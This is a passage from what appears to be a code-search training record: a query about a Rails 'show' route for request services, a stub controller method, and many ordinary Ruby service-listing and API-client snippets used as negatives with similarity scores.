"def show_service(client, args, options)\n response = client.get(\"#{RESOURCE_PATH}/#{args[0]}\")\n\n if CloudClient::is_error?(response)\n [response.code.to_i, response.to_s]\n else\n #[0,response.body]\n if options[:json]\n [0,response.body]\n else\n str=\"%-20s: %-20s\"\n str_h1=\"%-80s\"\n\n document_hash = JSON.parse(response.body)\n template = document_hash['DOCUMENT']['TEMPLATE']['BODY']\n\n CLIHelper.print_header(str_h1 % \"SERVICE #{document_hash['DOCUMENT']['ID']} INFORMATION\")\n\n puts str % [\"ID\", document_hash['DOCUMENT']['ID']]\n puts str % [\"NAME\", document_hash['DOCUMENT']['NAME']]\n puts str % [\"USER\", document_hash['DOCUMENT']['UNAME']]\n puts str % [\"GROUP\",document_hash['DOCUMENT']['GNAME']]\n\n puts str % [\"STRATEGY\", template['deployment']]\n puts str % [\"SERVICE STATE\", Service.state_str(template['state'])]\n puts str % [\"SHUTDOWN\", template['shutdown_action']] if template['shutdown_action']\n\n puts\n\n CLIHelper.print_header(str_h1 % \"PERMISSIONS\",false)\n\n [\"OWNER\", \"GROUP\", \"OTHER\"].each { |e|\n mask = \"---\"\n mask[0] = \"u\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_U\"] == \"1\"\n mask[1] = \"m\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_M\"] == \"1\"\n mask[2] = \"a\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_A\"] == \"1\"\n\n puts str % [e, mask]\n }\n\n puts\n\n template['roles'].each {|role|\n CLIHelper.print_header(\"ROLE #{role['name']}\", false)\n\n puts str % [\"ROLE STATE\", Role.state_str(role['state'])]\n puts str % [\"PARENTS\", role['parents'].join(', ')] if role['parents']\n puts str % [\"VM TEMPLATE\", role['vm_template']]\n puts str % [\"CARDINALITY\", role['cardinality']]\n puts str % [\"MIN VMS\", role['min_vms']] if role['min_vms']\n puts str % [\"MAX VMS\", role['max_vms']] if role['max_vms']\n puts str % [\"COOLDOWN\", \"#{role['cooldown']}s\"] if role['cooldown']\n puts str % [\"SHUTDOWN\", role['shutdown_action']] if role['shutdown_action']\n\n puts \"NODES INFORMATION\"\n NODE_TABLE.show(role['nodes'])\n\n if !role['elasticity_policies'].nil? && role['elasticity_policies'].size > 0 || !role['scheduled_policies'].nil? && role['scheduled_policies'].size > 0\n puts\n puts \"ELASTICITY RULES\"\n\n if role['elasticity_policies'] && role['elasticity_policies'].size > 0\n puts\n# puts \"ELASTICITY POLICIES\"\n CLIHelper::ShowTable.new(nil, self) do\n column :ADJUST, \"\", :left, :size=>12 do |d|\n adjust_str(d)\n end\n\n column :EXPRESSION, \"\", :left, :size=>48 do |d|\n if !d['expression_evaluated'].nil?\n d['expression_evaluated']\n else\n d['expression']\n end\n end\n\n column :'EVALS', \"\", :right, :size=>5 do |d|\n if d['period_number']\n \"#{d['true_evals'].to_i}/#{d['period_number']}\"\n else\n \"-\"\n end\n end\n\n column :PERIOD, \"\", :size=>6 do |d|\n d['period'] ? \"#{d['period']}s\" : '-'\n end\n\n column :COOL, \"\", :size=>5 do |d|\n d['cooldown'] ? \"#{d['cooldown']}s\" : '-'\n end\n\n default :ADJUST, :EXPRESSION, :EVALS, :PERIOD, :COOL\n end.show([role['elasticity_policies']].flatten, {})\n end\n\n if role['scheduled_policies'] && role['scheduled_policies'].size > 0\n puts\n# puts \"SCHEDULED POLICIES\"\n CLIHelper::ShowTable.new(nil, self) do\n column :ADJUST, \"\", :left, :size=>12 do |d|\n adjust_str(d)\n end\n\n column :TIME, \"\", :left, :size=>67 do |d|\n if d['start_time']\n Time.parse(d['start_time']).to_s\n else\n d['recurrence']\n end\n end\n\n default :ADJUST, :TIME\n end.show([role['scheduled_policies']].flatten, {})\n end\n end\n\n puts\n }\n\n puts\n\n CLIHelper.print_header(str_h1 % \"LOG MESSAGES\",false)\n\n if template['log']\n template['log'].each { |log|\n t = Time.at(log['timestamp']).strftime(\"%m/%d/%y %H:%M\")\n puts \"#{t} [#{log['severity']}] #{log['message']}\"\n }\n end\n\n 0\n end\n end\nend",
"def all(options = {})\n out = xml_run build_command('services', options.merge(:get => XML_COMMANDS_GET))\n convert_output(out.fetch(:stream, {}).fetch(:service_list, {}).fetch(:service, []), :service)\n end",
"def services\n\t\tService.find(:all)\n\tend",
"def index\n @title = \"Services - JC Auto Restoration, Inc.\"\n @services = Service.all\n end",
"def index\n @user = User.find(session[:user_id])\n @services = Service.order(:name) # probably needed whenever you show the edit/new form\n @service_request = ServiceRequest.new if logged_in?\n\n if logged_in?\n if current_user.is_provider\n # Show all services requests if the user is a provider\n # Search is a named scope in the ServiceRequest model\n @service_requests = ServiceRequest.includes(:services, :quotes).all.search(params[:keyword])\n # returns accepted quotes for the current_user\n @open_job_quotes = Quote.open_jobs(current_user.id)\n\n else\n # If the user is a NOT a provider, only show the user's service requests\n @service_requests = current_user.service_requests.includes(:services, :quotes).search(params[:keyword])\n end\n else\n flash[:danger] = \"Please login to view this page\"\n redirect_to login_path\n end\n end",
"def main_services\n main_co.services\n end",
"def response_from_service\n\n end",
"def list_services\n services.map do |service|\n Hashie::Mash.new({\n service: service,\n display_name: service_display_name(service),\n id: service_id(service)\n })\n end\n end",
"def get_service_status(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'GetServiceStatus'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :account_id\n\t\t\targs[:query]['AccountId'] = optional[:account_id]\n\t\tend\n\t\tself.run(args)\n\tend",
"def sale_get_services_with_http_info(site_id, version, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SaleApi.sale_get_services ...'\n end\n # verify the required parameter 'site_id' is set\n if @api_client.config.client_side_validation && site_id.nil?\n fail ArgumentError, \"Missing the required parameter 'site_id' when calling SaleApi.sale_get_services\"\n end\n # verify the required parameter 'version' is set\n if @api_client.config.client_side_validation && version.nil?\n fail ArgumentError, \"Missing the required parameter 'version' when calling SaleApi.sale_get_services\"\n end\n # resource path\n local_var_path = '/public/v{version}/sale/services'.sub('{' + 'version' + '}', version.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'request.classId'] = opts[:'request_class_id'] if !opts[:'request_class_id'].nil?\n query_params[:'request.classScheduleId'] = opts[:'request_class_schedule_id'] if !opts[:'request_class_schedule_id'].nil?\n query_params[:'request.hideRelatedPrograms'] = opts[:'request_hide_related_programs'] if !opts[:'request_hide_related_programs'].nil?\n query_params[:'request.limit'] = opts[:'request_limit'] if !opts[:'request_limit'].nil?\n query_params[:'request.locationId'] = opts[:'request_location_id'] if !opts[:'request_location_id'].nil?\n query_params[:'request.offset'] = opts[:'request_offset'] if !opts[:'request_offset'].nil?\n query_params[:'request.programIds'] = @api_client.build_collection_param(opts[:'request_program_ids'], :multi) if !opts[:'request_program_ids'].nil?\n query_params[:'request.sellOnline'] = opts[:'request_sell_online'] if !opts[:'request_sell_online'].nil?\n query_params[:'request.serviceIds'] = @api_client.build_collection_param(opts[:'request_service_ids'], :multi) if !opts[:'request_service_ids'].nil?\n query_params[:'request.sessionTypeIds'] = @api_client.build_collection_param(opts[:'request_session_type_ids'], :multi) if !opts[:'request_session_type_ids'].nil?\n query_params[:'request.staffId'] = opts[:'request_staff_id'] if !opts[:'request_staff_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'application/xml', 'text/xml', 'multipart/form-data'])\n header_params[:'siteId'] = site_id\n header_params[:'authorization'] = opts[:'authorization'] if !opts[:'authorization'].nil?\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'GetServicesResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SaleApi#sale_get_services\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @online_service = OnlineService.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @online_service }\n end\n end",
"def show\n @latest_version = @service.latest_version\n @latest_version_instance = @latest_version.service_versionified\n @latest_deployment = @service.latest_deployment\n\n @all_service_version_instances = @service.service_version_instances\n @all_service_types = @service.service_types\n\n @soaplab_server = @service.soaplab_server\n\n @pending_responsibility_requests = @service.pending_responsibility_requests\n unless is_api_request?\n @service_tests = @service.service_tests\n @test_script_service_tests = @service.service_tests_by_type(\"TestScript\")\n @url_monitor_service_tests = @service.service_tests_by_type(\"UrlMonitor\")\n end\n if @latest_version_instance.is_a?(RestService)\n @grouped_rest_methods = @latest_version_instance.group_all_rest_methods_from_rest_resources\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml # show.xml.builder\n format.json { render :json => @service.to_json }\n end\n end",
"def service_directory_name\n \"rest\"\n end",
"def service_request(params={})\n url = \"#{params[:url]}?type=federation&destination=#{params[:destination]}&domain=#{params[:domain]}\"\n # url = \"#{params[:url]}?type=federation&domain=#{params[:domain]}&destination=#{params[:destination]}&user=#{params[:user]}\"\n\n begin\n response = connection.get url\n rescue Faraday::Error::ConnectionFailed\n raise ConnectionFailed\n rescue Faraday::Error::TimeoutError\n raise Timedout\n end\n\n # Check for error\n if response.body.result == 'error'\n # Error\n raise FederationError, response.body.error_message\n end\n\n response.body.federation_json\n end",
"def simple_request(method, url)\n uri = URI.parse(url)\n request = Net::HTTP::Get.new(uri)\n request.content_type = \"application/json\"\n request[\"Accept\"] = \"application/json\"\n request[\"App-Id\"] = ENV[\"salt_edge_app_id\"]\n request[\"Secret\"] = ENV[\"salt_edge_secret\"]\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n } \n\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n #puts response.body\n return JSON.parse(response.body)\n end",
"def index\n @event_services = EventService.all.where(event_id: params[:event_id])\n @event = Event.find(params[:event_id])\n end",
"def index\n @services = Service.all\n end",
"def index\n @services = Service.all\n end"
] |
[
"0.7087363",
"0.707337",
"0.7035932",
"0.68809634",
"0.6822776",
"0.67689013",
"0.668224",
"0.66465676",
"0.6605129",
"0.6582652",
"0.6520311",
"0.64002717",
"0.6399248",
"0.6328442",
"0.63054484",
"0.62628126",
"0.62454337",
"0.6242674",
"0.6207485",
"0.618999",
"0.61790353",
"0.61635196",
"0.61619633",
"0.61565727",
"0.613695",
"0.6103255",
"0.6094136",
"0.6049116",
"0.6032664",
"0.6031065",
"0.6021727",
"0.60094875",
"0.6004107",
"0.59810275",
"0.59660405",
"0.59541297",
"0.5940582",
"0.5939253",
"0.59236705",
"0.5921985",
"0.5916593",
"0.58550185",
"0.58430016",
"0.58430016",
"0.58430016",
"0.5839921",
"0.5834687",
"0.5833328",
"0.5829774",
"0.5822617",
"0.5820717",
"0.58161086",
"0.58096844",
"0.5808936",
"0.5807125",
"0.5805322",
"0.5803932",
"0.57991403",
"0.57991403",
"0.5785973",
"0.5782834",
"0.57623136",
"0.5760146",
"0.5746169",
"0.5699265",
"0.5697201",
"0.5688619",
"0.5686527",
"0.5679053",
"0.5678604",
"0.5670909",
"0.5670328",
"0.5667727",
"0.56642884",
"0.5660933",
"0.5655054",
"0.56526554",
"0.565058",
"0.5649455",
"0.56473",
"0.564561",
"0.5636165",
"0.5632107",
"0.5613757",
"0.5612987",
"0.5584277",
"0.5581692",
"0.5581044",
"0.55791575",
"0.5576457",
"0.5574464",
"0.5566281",
"0.55594224",
"0.5558453",
"0.5553465",
"0.5546039",
"0.55391324",
"0.55353045",
"0.5533859",
"0.5533859"
] |
0.7121037
|
0
|
GET /request_services/1 GET /request_services/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def service(id)\n request :get, \"/services/#{id}\"\n end",
"def service_request(service); end",
"def index\n @request_services = RequestService.all\n end",
"def index\n endpoint(get(services_url).body)\n end",
"def index\n @service_requests = ServiceRequest.all\n end",
"def services(query = {})\n get('service', query)\n end",
"def service_requests_list\n @service_requests = ServiceRequest.get_all_service_requests(@page)\n end",
"def request(service, method = :get, payload = {})\n res = Infosimples::Data::HTTP.request(\n url: BASE_URL.gsub(':service', service),\n http_timeout: timeout,\n method: method,\n payload: payload.merge(\n token: token,\n timeout: timeout,\n max_age: max_age,\n header: 1\n )\n )\n JSON.parse(res)\n end",
"def services\n params = { command: 'account_services' }\n get('/json.php', params)\n end",
"def user_service_request\n @service_requests = @user.get_user_service_requests(@page)\n end",
"def get_json()\n\n http = Net::HTTP.new(STATUS_URI.host, STATUS_URI.port)\n http.use_ssl = false\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(\"/api/services.json\")\n\n response = http.request(request)\n JSON.parse(response.body)\nend",
"def list_services\n response = @http_client.get(prefix_path('services'))\n Response.new(response)\n end",
"def list_services(client, args, options)\n response = client.get(RESOURCE_PATH)\n\n if CloudClient::is_error?(response)\n [response.code.to_i, response.to_s]\n else\n #[0,response.body]\n if options[:json]\n [0,response.body]\n else\n array_list = JSON.parse(response.body)\n SERVICE_TABLE.show(array_list['DOCUMENT_POOL']['DOCUMENT'])\n 0\n end\n end\nend",
"def get_services\n reply = @client.call(:get_services)\n\n data = reply.body.dig(:get_services_response,\n :get_services_result,\n :array_of_string)\n data = check_if_data_exists(data)\n\n data.map do |attrs|\n {\n id: Integer(attrs[:string][0], 10),\n name: attrs[:string][1]\n }\n end\n end",
"def get(service = [])\n begin \n url = API_ENDPOINT + service.join('/')\n hdrs = auth_headers()\n puts \"Headers: #{hdrs}\"\n \n response = RestClient.get(url, hdrs)\n raise \"request failed with #{response.code}\" unless response.code == 200\n \n json_hash = JSON.parse(response)\n \n rescue RestClient::Exception => e\n error_hash = JSON.parse(e.response)\n end\n end",
"def index\n duration_hash = {}\n \n sub_sub_category = OneclickRefernet::SubSubCategory.find_by(code: params[:sub_sub_category])\n sub_sub_category_services = sub_sub_category.try(:services) || []\n\n # Base service queries on a collection of UNIQUE services\n services = OneclickRefernet::Service.confirmed.where(id: sub_sub_category_services.pluck(:id).uniq)\n \n lat, lng = params[:lat], params[:lng]\n meters = params[:meters].to_f\n limit = params[:limit] || 10\n \n if lat && lng\n meters = meters > 0.0 ? meters : (30 * 1609.34) # Default to 30 miles\n \n services = services.closest(lat, lng)\n .within_x_meters(lat, lng, meters)\n .limit(limit) \n duration_hash = build_duration_hash(params, services)\n else\n services = services.limit(limit)\n end\n \n render json: services.map { |svc| service_hash(svc, duration_hash) }\n\n end",
"def service_type_name\n \"REST\"\n end",
"def set_request_service\n @request_service = RequestService.find(params[:id])\n end",
"def create\n @request_service = RequestService.new(request_service_params)\n\n respond_to do |format|\n if @request_service.save\n format.html { redirect_to requests_path, notice: 'Request service was successfully created.' }\n format.json { render :show, status: :created, location: @request_service }\n else\n format.html { render :new }\n format.json { render json: @request_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def find_service(id)\n self.class.get(\"/services/#{id}.json?apikey=#{apikey}\")\n end",
"def index\n @services = Service.find_all_by_user_id(current_user.account_id)\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @services }\n end\n end",
"def index\n @requests = Request.all\n\n render json: @requests\n end",
"def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def show\n @service = Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def service_list\n uri = URI.parse(@url)\n http = Net::HTTP.new(uri.host, uri.port, @proxy_addr, @proxy_port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(uri.request_uri)\n request.basic_auth user, passwd\n request.add_field 'X-ID-TENANT-NAME', id_domain\n http.request(request)\n end",
"def show\n respond_to do |format|\n format.json { render json: @service_call }\n end\n end",
"def show\n @service = Service.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def add_service(service={})\n request :post, '/services', service\n end",
"def requested\n requested_params = {\n external_code: params[:id],\n company_id: params[:company][:id],\n company_name: params[:company][:name],\n recruiter_id: params[:recruiter][:id],\n recruiter_name: params[:recruiter][:name],\n applicant_id: params[:applicant][:id],\n applicant_name: params[:applicant][:name],\n job_id: params[:job][:id],\n job_title: params[:job][:title],\n status: params[:status]\n }\n\n @service = Service.new(requested_params)\n\n if @service.save\n render json: { status: :created }, status: :created\n else\n render json: @service.errors, status: :unprocessable_entity\n end\n end",
"def get_services_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PricesApi.get_services ...'\n end\n # resource path\n local_var_path = '/v1/services'\n\n # query parameters\n query_params = {}\n query_params[:'provider_id'] = opts[:'provider_id'] if !opts[:'provider_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Services')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PricesApi#get_services\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def lookup_services(extension, arg)\n extension += \"/#{arg}\"\n uri = URI.parse(API_URL + extension)\n response = connect(uri)\n puts response.body\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def show\n render json: @service\n end",
"def servicio # :doc\n id = params[:service_id]\n if id.present?\n \t\tService.find(params[:service_id]) \n \tend \n end",
"def services\n Rails.logger.debug 'Inside service'\n @result_json = {}\n begin\n action = params[:do]\n case action\n when 'login'\n Rails.logger.debug 'Processing login'\n @result_json = login\n when 'register'\n Rails.logger.debug 'Processing registration'\n @result_json = register\n when 'save_linkedin_profile'\n Rails.logger.debug 'Saving Linkedin Profile'\n @result_json = save_linkedin_profile\n when 'get_dim_data'\n dim_type = params[:dim_type]\n Rails.logger.debug \"Getting dimension data - #{dim_type}\"\n @result_json = get_dim_data (dim_type)\n when 'get_filter_data'\n filter_data = params[:filter_data]\n columns = params[:columns]\n Rails.logger.debug \"Getting Filter data - #{filter_data}\"\n @result_json = get_filter_data(filter_data, columns)\n else\n Rails.logger.warn 'Unsupported service call'\n end\n rescue\n Rails.logger.error \"Error in service method #{$!}\"\n ensure\n render json: @result_json\n end\n end",
"def services\n response = JSON.parse(@client.get(\"/api/v1/services\").body)\n return response[\"services\"] || response\n end",
"def register_services(request)\n return unless request.is_a? RestfulRequest\n @active_requests[request.id][:arduino_responses][request.address[:name]].match /^(?:[A-Za-z].*\\n)*([\\[|\\{](?:.*\\n*)*)\\n/\n return unless services_json = $1\n\n JSON.parse(services_json).each do |services|\n services[\"resource_name\"].match /(^\\D*)(?:_\\d)*$/\n return unless service_type_name = $1\n puts_debug \"[Controller:register_services] current resource name matched '#{$1}'\"\n \n # get service id by finding existing service id, or adding a new service if needed \n service_id = get_service_id(service_type_name)\n new_instance = {name: services[\"resource_name\"], \n post_enabled: services[\"post_enabled\"],\n range_min: services[\"range\"][\"min\"],\n range_max: services[\"range\"][\"max\"],\n device_id: request.address[:device_id], service_type_id: service_id}\n ::ArduinoGateway::Model::ModelTemplates::ResourceInstance.new new_instance \n end\n end",
"def service(service_id)\n response = @client.get(\"/api/v1/services/#{service_id}\")\n return JSON.parse(response.body)\n end",
"def partner_service_request\n @service_requests = @user.get_partner_service_requests(@page)\n end",
"def services\n\n end",
"def show\n @service = current_user.pro.services.find(params[:id])#Service.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end",
"def index\n @hospital = Hospital.find(params[:hospital_id])\n @service_requests = @hospital.service_request.all\n end",
"def index\n @per_page_options = %w{ 21 51 99 }\n respond_to do |format|\n format.html # index.html.erb\n format.xml # index.xml.builder\n format.atom # index.atom.builder\n format.json { render :json => ServiceCatalographer::Api::Json.index(\"services\", json_api_params, @services).to_json }\n format.bljson { render :json => ServiceCatalographer::Api::Bljson.index(\"services\", @services).to_json }\n end\n end",
"def index\n @services = @page.services.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @services }\n end\n end",
"def get_version\n response = self.class.get(\"/service/#{$service_id}/version/#{$service_version}\", {\n headers: {\"Fastly-Key\" => $key}\n })\n end",
"def api_v11_clusters_cluster_name_services_service_name_nameservices_get_with_http_info(service_name, cluster_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_clusters_cluster_name_services_service_name_nameservices_get ...\"\n end\n \n # verify the required parameter 'service_name' is set\n fail \"Missing the required parameter 'service_name' when calling api_v11_clusters_cluster_name_services_service_name_nameservices_get\" if service_name.nil?\n \n # verify the required parameter 'cluster_name' is set\n fail \"Missing the required parameter 'cluster_name' when calling api_v11_clusters_cluster_name_services_service_name_nameservices_get\" if cluster_name.nil?\n \n # resource path\n path = \"/api/v11/clusters/{clusterName}/services/{serviceName}/nameservices\".sub('{format}','json').sub('{' + 'serviceName' + '}', service_name.to_s).sub('{' + 'clusterName' + '}', cluster_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'view'] = opts[:'view'] if opts[:'view']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_clusters_cluster_name_services_service_name_nameservices_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def url\n resource.url + '/services'\n end",
"def get_requests\r\n \trequests = []\r\n privates = []\r\n privates_end = []\r\n publics = []\r\n\r\n \tservice = User.find_by(id: params[:user_id]).service\r\n \tif service\r\n \t\t#solicitudes con el id del servicio del usuario\r\n \t\t#requests = Request.where(\"(service_id = :service_id) or (service_id is null and service_type = 'ALL' and payment_method = 'ALL' and vehicle_type = 'ALL') or (service_id is null and service_type = 'ALL' and payment_method = 'ALL' and vehicle_type = :vehicle_type) or (service_id is null and service_type = 'ALL' and payment_method = :payment_method and vehicle_type = :vehicle_type) or (service_id is null and service_type = :service_type and payment_method = 'ALL' and vehicle_type = 'ALL') or (service_id is null and service_type = :service_type and payment_method = :payment_method and vehicle_type = 'ALL') or (service_id is null and service_type = 'ALL' and payment_method = :payment_method and vehicle_type = 'ALL') or (service_id is null and service_type = :service_type and payment_method = 'ALL' and vehicle_type = :vehicle_type) or (service_id is null and service_type = :service_type and payment_method = :payment_method and vehicle_type = :vehicle_type)\",{service_id: service.id, service_type: service.service_type, payment_method: service.payment_method, vehicle_type: service.vehicle_type}).order('created_at DESC').limit(20)\r\n privates = Request.where(\"(service_id = :service_id and status='') or (service_id = :service_id and status='0') or (service_id = :service_id and status='1')\",{service_id: service.id}).order('created_at DESC')\r\n privates_end = Request.where(\"(service_id = :service_id and status='2') or (service_id = :service_id and status='3')\",{service_id: service.id}).order('created_at DESC').limit(20)\r\n publics = Request.where(\"(service_id is null and service_type = 'ALL' and payment_method = 'ALL' and vehicle_type = 'ALL') or (service_id is null and service_type = 'ALL' and payment_method = 'ALL' and vehicle_type = :vehicle_type) or (service_id is null and service_type = 'ALL' and payment_method = :payment_method and vehicle_type = :vehicle_type) or (service_id is null and service_type = :service_type and payment_method = 'ALL' and vehicle_type = 'ALL') or (service_id is null and service_type = :service_type and payment_method = :payment_method and vehicle_type = 'ALL') or (service_id is null and service_type = 'ALL' and payment_method = :payment_method and vehicle_type = 'ALL') or (service_id is null and service_type = :service_type and payment_method = 'ALL' and vehicle_type = :vehicle_type) or (service_id is null and service_type = :service_type and payment_method = :payment_method and vehicle_type = :vehicle_type)\",{service_id: service.id, service_type: service.service_type, payment_method: service.payment_method, vehicle_type: service.vehicle_type}).order('created_at DESC').limit(20)\r\n requests = privates + privates_end + publics\r\n \telse\r\n \t\trequests = Request.where(user_id: params[:user_id]).order('created_at DESC').limit(20)\r\n \tend\r\n \t\r\n \trender json: requests\r\n end",
"def query_for_services(type = nil, pool = nil)\n\n raise \"Type must not be nil if pool is nil\" if type.nil? && !pool.nil?\n\n @discovery_urls.each do |discovery_url|\n resource = \"/v1/service\"\n resource += \"/#{type}\" if ! type.nil?\n resource += \"/#{pool}\" if ! pool.nil?\n\n service_uri = URI.parse(discovery_url).merge(resource)\n\n @logger.debug(\"Get Request: #{service_uri.to_s}\")\n\n begin\n response = @client.get(service_uri.to_s, nil, nil)\n\n if response.status >= 200 && response.status <= 299\n service_data = JSON.parse(response.body)\n\n return service_data\n end\n\n @logger.error(\"#{service_uri.to_s}: Response Status #{response.status}\")\n @logger.error(response.body)\n\n rescue\n @logger.error(\"#{service_uri.to_s}: #{$!}\")\n end\n\n end\n\n raise \"Failed to get all services from any of [ #{@discovery_urls.join(\",\")} ]\"\n\n end",
"def services\n end",
"def list_requests\n # stub\n end",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.json { render :json => @requests}\n end\n end",
"def acl_services\n authorize!(:view_service_acl)\n\n validate_params({\n :client_id => [:required]\n })\n\n client = get_client(params[:client_id])\n\n services = {}\n client.wsdl.each do |wsdl|\n wsdl.service.each do |service|\n services[service.serviceCode] = {\n :service_code => service.serviceCode,\n :title => service.title\n }\n end\n end\n\n services_sorted = services.values.sort do |x, y|\n x[:service_code] <=> y[:service_code]\n end\n\n render_json(services_sorted)\n end",
"def servers(service_id)\n request :get, \"/services/#{service_id}/servers\"\n end",
"def show_service(client, args, options)\n response = client.get(\"#{RESOURCE_PATH}/#{args[0]}\")\n\n if CloudClient::is_error?(response)\n [response.code.to_i, response.to_s]\n else\n #[0,response.body]\n if options[:json]\n [0,response.body]\n else\n str=\"%-20s: %-20s\"\n str_h1=\"%-80s\"\n\n document_hash = JSON.parse(response.body)\n template = document_hash['DOCUMENT']['TEMPLATE']['BODY']\n\n CLIHelper.print_header(str_h1 % \"SERVICE #{document_hash['DOCUMENT']['ID']} INFORMATION\")\n\n puts str % [\"ID\", document_hash['DOCUMENT']['ID']]\n puts str % [\"NAME\", document_hash['DOCUMENT']['NAME']]\n puts str % [\"USER\", document_hash['DOCUMENT']['UNAME']]\n puts str % [\"GROUP\",document_hash['DOCUMENT']['GNAME']]\n\n puts str % [\"STRATEGY\", template['deployment']]\n puts str % [\"SERVICE STATE\", Service.state_str(template['state'])]\n puts str % [\"SHUTDOWN\", template['shutdown_action']] if template['shutdown_action']\n\n puts\n\n CLIHelper.print_header(str_h1 % \"PERMISSIONS\",false)\n\n [\"OWNER\", \"GROUP\", \"OTHER\"].each { |e|\n mask = \"---\"\n mask[0] = \"u\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_U\"] == \"1\"\n mask[1] = \"m\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_M\"] == \"1\"\n mask[2] = \"a\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_A\"] == \"1\"\n\n puts str % [e, mask]\n }\n\n puts\n\n template['roles'].each {|role|\n CLIHelper.print_header(\"ROLE #{role['name']}\", false)\n\n puts str % [\"ROLE STATE\", Role.state_str(role['state'])]\n puts str % [\"PARENTS\", role['parents'].join(', ')] if role['parents']\n puts str % [\"VM TEMPLATE\", role['vm_template']]\n puts str % [\"CARDINALITY\", role['cardinality']]\n puts str % [\"MIN VMS\", role['min_vms']] if role['min_vms']\n puts str % [\"MAX VMS\", role['max_vms']] if role['max_vms']\n puts str % [\"COOLDOWN\", \"#{role['cooldown']}s\"] if role['cooldown']\n puts str % [\"SHUTDOWN\", role['shutdown_action']] if role['shutdown_action']\n\n puts \"NODES INFORMATION\"\n NODE_TABLE.show(role['nodes'])\n\n if !role['elasticity_policies'].nil? && role['elasticity_policies'].size > 0 || !role['scheduled_policies'].nil? && role['scheduled_policies'].size > 0\n puts\n puts \"ELASTICITY RULES\"\n\n if role['elasticity_policies'] && role['elasticity_policies'].size > 0\n puts\n# puts \"ELASTICITY POLICIES\"\n CLIHelper::ShowTable.new(nil, self) do\n column :ADJUST, \"\", :left, :size=>12 do |d|\n adjust_str(d)\n end\n\n column :EXPRESSION, \"\", :left, :size=>48 do |d|\n if !d['expression_evaluated'].nil?\n d['expression_evaluated']\n else\n d['expression']\n end\n end\n\n column :'EVALS', \"\", :right, :size=>5 do |d|\n if d['period_number']\n \"#{d['true_evals'].to_i}/#{d['period_number']}\"\n else\n \"-\"\n end\n end\n\n column :PERIOD, \"\", :size=>6 do 